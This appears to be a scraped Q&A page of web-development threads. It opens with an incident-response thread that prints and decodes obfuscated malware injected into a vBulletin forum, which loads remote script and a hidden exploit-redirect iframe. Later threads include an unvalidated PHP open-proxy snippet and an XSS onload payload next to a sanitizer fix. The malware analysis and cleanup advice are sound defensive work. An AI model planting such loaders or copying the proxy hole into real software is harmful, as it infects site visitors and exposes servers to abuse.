My website, 3dsforums.com, has been marked as an attack site for containing malware. According to Google Webmaster Tools, this is the suspected code that has been injected onto every page:
<script>eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c ]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('3 1=4.5(\'6\');1.7=\'8://9-a.b/ c.d.1\';3 2=4.e(\'2\')[0];2.f(1);',16,16,'|js|head|var|document|createElement|script|src|http|javascript|collection|in|jquery|compatibility|getElementsByTagName|appendChild'.split('|'),0,{}))</script>
As such, I have two questions:
Is this actually the offending code?
And how do I remove it?
I can't seem to find it via the templates in vBulletin, or through phpmyadmin, so I'm lost as to what I should do.
Thanks for any help.
JS Beautifier decompresses that as this:
var js = document.createElement('script');
js.src = 'http://javascript-collection.in/ jquery.compatibility.js';
var head = document.getElementsByTagName('head')[0];
head.appendChild(js);
It looks suspicious (who would obfuscate that?), so I would assume that yes, it's the problem, and you should remove it.
Edit: Now that the malicious site is back up, I can analyze the rest: it appears to add an iframe:
var iframe = document.createElement('iframe');
iframe.src = 'http://gamessilver.in/in.cgi?walter';
iframe.width = 0;
iframe.height = 0;
iframe.vspace = 0;
iframe.hspace = 0;
iframe.frameborder = 0;
iframe.marginheight = 0;
iframe.marginwidth = 0;
var head = document.getElementsByTagName('head')[0];
head.appendChild(iframe);
Kind of strange to be appending it to the head.
The in.cgi script appears to redirect to Google if the User-Agent is not very exploitable. Otherwise, it redirects to another malicious website.
It continues branching off with many iframes. Many of them do nothing (although at that point, I was only trying the User-Agent for MSIE 6 on WinXP), but I eventually wound up with two Java applets. When I decompiled them, all the names were mangled and I didn't bother to try to figure out what it's doing.
First thing you should do is to change your FTP or SSH login and password.
The above looks like an FTP exploit. Looks like either you are out of date with your OS updates or you are letting whole world write to your files.
Even though you overwrite your files the problem may come back. So I strongly suggest to check
note the last modified date of the files in question.
check your FTP, SSH, Access logs to see if you can find something fishy.
1a. Immediately remove write access to all the site's files. Do this as a precaution just to be safe from a similar attack.
1b. Overwrite your files from Backup
if your apache or any webserver that you are using does not have a pending update.
Check the file permission for you website
Change your FTP password immediately
Advise: change your passwords to something strong. e.g. KLioof*(&^paswl
It was actually hiding in includes/functions.php on lines 6844 and 6845, the two lines were were replacing </head> with their script+</head>
Tough one to find and smart too.
I resolved this problem. You must find and delete Base64 function with shady string in site files. It decode this script from string.
Related
I have the following situation:
a static site, only html pages
a cookie notice system, with my own cookies, accept and refuse system of cookies setup
Now I need to inject the GA4 script into the head of pages when cookies are accepted, but...
I have already made made that, by appending the script to the head and it is visible on browser, on page reload with inspect elements...and it's working perfect.
When users click on accept cookies, the cookies accept is saved on client's side, and the script is APPENDED to page.
But I need the GA4 script to be somehow INJECTED, to be visible on the source page. Like when I preview the source page in browser to have it there. I don't need it to be injected into the html file itself, but only into the browser.
I did my own research about these days, and now it's killing me, as all I could find was the append way, but that is not injecting it into the source page on browser.
Any advice or guidance would be greatly appreciated.
Note (as I have been asking all the time. I don't want to offend anyone, but that's the best way I can explain where I want to do and what):
the source page I'm talking about is when right click on browser and view source page (there is where I need the GA4 code to be inserted)
and the way I got it to work is when right click > inspect > elements tab - (there i have it now working)
Thank you!
First question would be, why do you want it to be in the actual source code? A common way of inserting these scripts is through a tag-management-solution, which basically follows similar logic as appending scripts to the page (i.e. similar to what you meant by the inspect elements route).
To answer your question;
There is an option to get it into the sourcecode, and that is by checking on the server delivering the HTML whether a user has accepted the cookies, if that is the case deliver the HTML file (or adjust the HTML) to contain the GA4 script, if the user didn't accept: deliver the page without the GA4 script.
Since you mention these are static HTML files, I assume there is no server in place where this kind of logic can be inserted. So the best option is to insert the script afterwards.
Another way would be to insert the tag by default, but disable tracking (haven't tested the below part, also, verify yourself whether in your situation this actually blocks tracking when cookies aren't accepted):
window['ga-disable-GA_MEASUREMENT_ID'] = true;
https://developers.google.com/analytics/devguides/collection/gtagjs/user-opt-out
You could try to add this in your HTML before loading the GA4 tag, similar to something like:
<script>
const gaMeasurementId = 'G-12345678'; //replace with your own MeasurementID
let cookiesDeclined = true; //default to declined cookies
document.cookie.split(';').forEach( (cookie) =>{ //loop through all cookies
const cookie_arr = cookie.split('='); //get key/value pairs for cookies
let name = cookie_arr[0]; //cookiename
let val = cookie_arr[1]; //cookieval
if(name === 'cookieConsent' && val === 'accepted' ){
cookiesDeclined = false; //set the declined status to false when user has accepted the cookies
}
})
window['ga-disable-'+gaMeasurementId] = cookiesDeclined;
//->insert ga4 tag here
</script>
So here is the situation, i'm getting an ad from my custom adserver like so
src = 'http://www.adserver.com/www/delivery/ajs.php?zoneid=1&cb=37930400855&charset=UTF-8&loc=http%3A//thissite.com/';
script = document.createElement 'script'
script.type = 'text/javascript'
script.src = src
$('.banner-container').append script
So the problem is the url is correct in the src variable it is correct when it is inserted into the dom
<script type="text/javascript" src="http://www.adserver.com/www/delivery/ajs.php?zoneid=1&cb=37930400855&charset=UTF-8&loc=http%3A//thissite.com/"></script>
But the second the browser tries to fetch it the url changes to
http://www.adserver.comwww/delivery/ajs.php?zoneid=1&cb=37930400855&charset=UTF-8&loc=http%3A//thissite.com/
see right after the .com it strips the / so that comwww runs together, making it throw an error and of course not display what i want. I have tried uri encoding and other little things i had read or seen on stackoverflow to no avail.
Perhaps the problem is on the ad server site. They likely have a bad rewriterule, or a bad internal redirect. I have run your sample code with a different domain and it works fine.
Try visiting the js url in your browser directly, or using a command line tool like curl. Check that it is redirecting. So it is likely that the adserver.com site is redirecting badly. If they have a support contact, you should file a ticket with that company.
I am sorry that this does not directly solve your problem, but I feel that this response is a proper "answer" for this site.
This should be a simple problem, I just can't seem to stumble upon the right answer:
So I have a site in HTML with many pages that all link to the newest one, so I created a simple JavaScript function in a separate file:
function newest() {
window.location = "http://xxxxxxxxxx.xxx/6.html";
}
With the line:
< script type="text/javascript" src="javascript.js">< /script>
In my HTML document.
So I can update the number every time a new page is posted. The problem is that when I post a new one, the code doesn't refresh from the user side until you delete the cookies (if I replace it with 7, it will still redirect to 6).
Sorry if it is a stupid question, but everything I have looked up seems way off topic.
The cache expects your javascript to me immutable so unless you can include the file name external to your javascript then this path is not going to work... How about just creating a 'latest.html' page that is either a file system link to the original or else redirects to the latest version.
A simple client side solution would be to inject the script with different version attributes appended to it.
So HTML page can contain a script like :
var script = d.createElement('script');
script.type = 'text/javascript';
script.src = 'http://xxxxxxxxxx.xxx/javascript.js?v=' + Math.random();
d.getElementsByTagName('head')[0].appendChild(script);
Notice the random number?
where javascript.js is the one having your code:
function newest() {
window.location = "http://xxxxxxxxxx.xxx/6.html";
}
You can turn off the caching of the resources (javascript files) on the client machine by adding the instructions in your code for the web browser, not to cache. Refer to this link for how to turn off caching for your webpage.
EDIT:
Just a quick mention as to the nature of this program. The purpose of this program is for web inventory. Drawing different links and other content into a type of hierarchy. What I'm having trouble with is pulling a list of links from a webpage within an IFrame.
I get the feeling this one is gonna bite me hard. (other posts indicate relevance to xss and domain controls)
I'm just trying something with javascript and Iframes. Basically I have a panel with an IFrame inside that goes to whatever website you want it to. I'm trying to generate a list of links from the webpage within the Iframe. Its strictly read only.
Yet I keep coming up against the permission denied problem.
I understand this is there to stop cross site scripting attacks and the resolution seems to be to set the document domain to the host site.
JavaScript permission denied. How to allow cross domain scripting between trusted domains?
However I dont think this will work if I'm trying to go from site to site.
Heres the code I have so far, pretty simple:
function getFrameLinks()
{
/* You can all ignore this. This is here because there is a frame within a frame. It should have no effect ont he program. Just start reading from 'contentFrameElement'*/
//ignore this
var functionFrameElem = document.getElementById("function-IFrame");
console.log("element by id parent frame ");
console.log(functionFrameElem);
var functionFrameData = functionFrameElem.contentDocument;
console.log("Element data");
console.log(functionFrameData);
//get the content and turn it into a doc
var contentFrameElem = functionFrameData.getElementById("content-Frame")
console.log(contentFrameElem);
var contentFrameData = contentFrameElem.contentDocument;
console.log(contentFrameData);
//get the links
//var contentFrameLinks = contentFrameData.links;
var contentFrameLinks = contentFrameData.getElementsByTagName('a');
Goal: OK so due to this being illegal and very similar to XSS. Perhaps someone could point out a solution as to how to locally store the document. I dont seem to have any problems accessing document.links with internal pages in the frame.
Possibly some sort of temp database of cache. The simpler the solution the better.
If you want to read it just for your self and in your browser, you can write a simple proxy with php in your server. the most simple code:
<?php /* proxy.php */ readfile($_GET['url']); ?>
now set your iframe src to your proxy file:
<iframe src="http://localhost/proxy.php?url=http://www.google.com"
id="function-IFrame"></iframe>
now you can access the iframe content from your (local) server.
if you want set the url with a program remember to encode the url (urlencode in php or encodeURIComponent in js)
Here is a bookmarklet you can run on any page (assuming the links are not in an iframe)
javascript:var x=function(){var lnks=document.links,list=[];for (var i=0,n=lnks.length;i<n;i++) {var href = lnks[i].href; list.push(href)};if (list.length>0) { var w=window.open('','_blank');w.document.write(list.length+' links found<br/><ul><li>'+list.sort().join('</li><li>')+'</ul>');w.document.close()}};void(x());
the other way is for you (on Windows) to save your HTML with extension .HTA
Then you can grab whatever lives in the iFrame
You might be interested in using the YQL (Yahoo Query Language) to retrieve filtered results from remote urls..
example of retrieving all the links from the yahoo.com domain
There are many Stack Overflow questions (e.g. Whitelisting, preventing XSS with WMD control in C# and WMD Markdown and server-side) about how to do server-side scrubbing of Markdown produced by the WMD editor to ensure the HTML generated doesn't contain malicious script, like this:
<img onload="alert('haha');"
src="http://www.google.com/intl/en_ALL/images/srpr/logo1w.png" />
But I didn't find a good way to plug the hole on the client side too. Client validation isn't a replacement for scrubbing validation on the server of course, since anyone can pretend to be a client and POST you nasty Markdown. And if you're scrubbing the HTML on the server, an attacker can't save the bad HTML so no one else will be able to see it later and have their cookies stolen or sessions hijacked by the bad script. So there's a valid case to be made that it may not be worth enforcing no-script rules in the WMD preview pane too.
But imagine an attacker found a way to get malicious Markdown onto the server (e.g. a compromised feed from another site, or content added before an XSS bug was fixed). Your server-side whitelist applied when translating markdown to HTML would normally prevent that bad Markdown from being shown to users. But if the attacker could get someone to edit the page (e.g. by posting another entry saying the malicious entry had a broken link and asking someone to fix it), then anyone who edits the page gets their cookies hijacked. This is admittedly a corner case, but it still may be worth defending against.
Also, it's probably a bad idea to allow the client preview window to allow different HTML than your server will allow.
The Stack Overflow team has plugged this hole by making changes to WMD. How did they do it?
[NOTE: I already figured this out, but it required some tricky JavaScript debugging, so I'm answering my own question here to help others who may want to do ths same thing].
One possible fix is in wmd.js, in the pushPreviewHtml() method. Here's the original code from the Stack Overflow version of WMD on GitHub:
if (wmd.panels.preview) {
wmd.panels.preview.innerHTML = text;
}
You can replace it with some scrubbing code. Here's an adaptation of the code that Stack Overflow uses in response to this post, which restricts to a whitelist of tags, and for IMG and A elements, restricts to a whitelist of attributes (and in a specific order too!). See the Meta Stack Overflow post What HTML tags are allowed on Stack Overflow, Server Fault, and Super User? for more info on the whitelist.
Note: this code can certainly be improved, e.g. to allow whitelisted attributes in any order. It also disallows mailto: URLs which is probably a good thing on Internet sites but on your own intranet site it may not be the best approach.
if (wmd.panels.preview) {
// Original WMD code allowed JavaScript injection, like this:
// <img src="http://www.google.com/intl/en_ALL/images/srpr/logo1w.png" onload="alert('haha');"/>
// Now, we first ensure elements (and attributes of IMG and A elements) are in a whitelist,
// and if not in whitelist, replace with blanks in preview to prevent XSS attacks
// when editing malicious Markdown.
var okTags = /^(<\/?(b|blockquote|code|del|dd|dl|dt|em|h1|h2|h3|i|kbd|li|ol|p|pre|s|sup|sub|strong|strike|ul)>|<(br|hr)\s?\/?>)$/i;
var okLinks = /^(<a\shref="(\#\d+|(https?|ftp):\/\/[-A-Za-z0-9+&##\/%?=~_|!:,.;\(\)]+)"(\stitle="[^"<>]+")?\s?>|<\/a>)$/i;
var okImg = /^(<img\ssrc="https?:(\/\/[-A-Za-z0-9+&##\/%?=~_|!:,.;\(\)]+)"(\swidth="\d{1,3}")?(\sheight="\d{1,3}")?(\salt="[^"<>]*")?(\stitle="[^"<>]*")?\s?\/?>)$/i;
text = text.replace(/<[^<>]*>?/gi, function (tag) {
return (tag.match(okTags) || tag.match(okLinks) || tag.match(okImg)) ? tag : ""
})
wmd.panels.preview.innerHTML = text; // Original code
}
Also note that this fix is not in the Stack Overflow version of WMD on GitHub-- clearly the change was made later and not checked back into GitHub.
UPDATE: in order to avoid breaking the feature where hyperlinks are auto-created when you type in a URL, you also will need to make changes to showdown.js, like below:
Original code:
var _DoAutoLinks = function(text) {
text = text.replace(/<((https?|ftp|dict):[^'">\s]+)>/gi,"$1");
// Email addresses: <address#domain.foo>
/*
text = text.replace(/
<
(?:mailto:)?
(
[-.\w]+
\#
[-a-z0-9]+(\.[-a-z0-9]+)*\.[a-z]+
)
>
/gi, _DoAutoLinks_callback());
*/
text = text.replace(/<(?:mailto:)?([-.\w]+\#[-a-z0-9]+(\.[-a-z0-9]+)*\.[a-z]+)>/gi,
function(wholeMatch,m1) {
return _EncodeEmailAddress( _UnescapeSpecialChars(m1) );
}
);
return text;
}
Fixed code:
var _DoAutoLinks = function(text) {
// use simplified format for links, to enable whitelisting link attributes
text = text.replace(/(^|\s)(https?|ftp)(:\/\/[-A-Z0-9+&##\/%?=~_|\[\]\(\)!:,\.;]*[-A-Z0-9+&##\/%=~_|\[\]])($|\W)/gi, "$1<$2$3>$4");
text = text.replace(/<((https?|ftp):[^'">\s]+)>/gi, '$1');
return text;
}
It is not a security issue to allow the local user to execute scripts in the page context as long as it's impossible for any third party to provide the script.
Without the editor doing it, the user could always enter a javascript: url while on your page or use Firebug or something similar.